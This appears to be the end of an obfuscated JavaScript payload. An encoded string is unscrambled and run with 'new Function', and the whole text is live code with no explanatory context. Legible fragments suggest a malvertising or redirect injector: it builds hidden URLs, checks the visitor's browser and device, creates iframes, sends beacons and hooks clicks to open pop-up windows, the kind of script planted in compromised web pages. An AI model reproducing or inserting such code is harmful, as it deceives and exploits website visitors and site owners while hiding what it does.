5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();